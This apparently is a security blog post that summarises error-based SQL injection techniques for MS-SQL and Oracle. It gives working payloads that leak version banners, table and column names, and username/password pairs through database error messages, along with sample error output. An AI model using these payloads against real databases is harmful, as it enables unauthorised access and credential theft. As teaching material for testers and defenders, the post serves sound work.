SQL Injection & The Friendly Error Messages

This post in particular is inspired by 2 things:

1. SFX Sql injection paper: https://packetstormsecurity.com/papers/database/SFX-SQLi-Paper-en.pdf
2. Alexander Kornbrust's blog: www.red-database-security.com/whitepaper/oracle_sql_injection_web.html

So, here is the summary:

MS-SQL Server:

1. You can obtain useful information in error messages.
e.g. select convert(int, @@version)

2. You can use concatenation to get more then one column
e.g. select convert(int,(select top 1 name+'::'+password from users))

3. You can also return more than one row
e.g. select convert(int, (SELECT STUFF((SELECT ', ' +table_name+'::'+column_name FROM information_schema.columns FOR XML PATH('')),1, 2, '')AS CSV))

This will give the following error:

"Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'spt_fallback_db::xserver_name, spt_fallback_db::xdttm_ins, spt_fallback_db::xdttm_last_ins_upd, spt_fallback_db::xfallback_dbid, spt_fallback_db::name, spt_fallback_db::dbid, spt_fallback_db::status, spt_fallback_db::version, spt_fallback_dev::xserver_name, spt_fallback_dev::xdttm_ins, spt_fallback_dev::xdttm_last_ins_upd, spt_fallback_dev::xfallback_low, spt_fallback_dev::xfallback_drive, spt_fallback_dev::low, spt_fallback_dev::high, spt_fallback_dev::status, spt_fallback_dev::name, ........more data ......' to data type int."

It is important to note that the length of error messages is restricted in every database. I think under sql server 2005 it is around 2048 chars. Thus, if sending a large number of requests is an issue and for some reason, you can't be asked to get UNION to work(e.g. too many rows) as described under the SFX white-paper, use this.

Further, the same principle also applies to Oracle database. You can return information in error messages like this:

vuln-host.com/vuln.php?name=1 and 1=utl_inaddr.get_host_name( (select banner from v$version where rownum=1) )--

Again, you can use concatenation function in oracle to return more then one column.

Alexander, in his blog mentioned an oracle 11g function(stragg) to get more than one row with a single query:

1=utl_inaddr.get_host_address((select sys.stragg (distinct username||chr(32)) from all_users))--

After, alex dropped an hint on how to achieve this on other oracle versions(9-11), i figured out what he meant:

SELECT SUBSTR (SYS_CONNECT_BY_PATH (banner , ','), 2) csv FROM (SELECT banner , ROW_NUMBER () OVER  (ORDER BY banner ) rn, COUNT (*) OVER () cnt FROM v$version) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn + 1

Again, like MS-SQL, oracle error messages are also restricted to 512 chars only.

select utl_inaddr.get_host_address((SELECT SUBSTR (SYS_CONNECT_BY_PATH (banner ,
','), 2) csv FROM (SELECT banner , ROW_NUMBER () OVER  (ORDER BY banner ) rn, C
OUNT (*) OVER () cnt FROM v$version) WHERE rn = cnt START WITH rn = 1 CONNECT BY
rn = PRIOR rn + 1)) from dual
       *
ERROR at line 1:
ORA-29257: host CORE    10.2.0.1.0      Production,NLSRTL Version 10.2.0.1.0 -
Production,Oracle Database 10g Express Edition Release 10.2.0.1.0 -
Product,PL/SQL Release 10.2.0.1.0 - Production,TNS for 32-bit Windows: Version
10.2.0.1.0 - Production unknown
ORA-06512: at "SYS.UTL_INADDR", line 19
ORA-06512: at "SYS.UTL_INADDR", line 40
ORA-06512: at line 1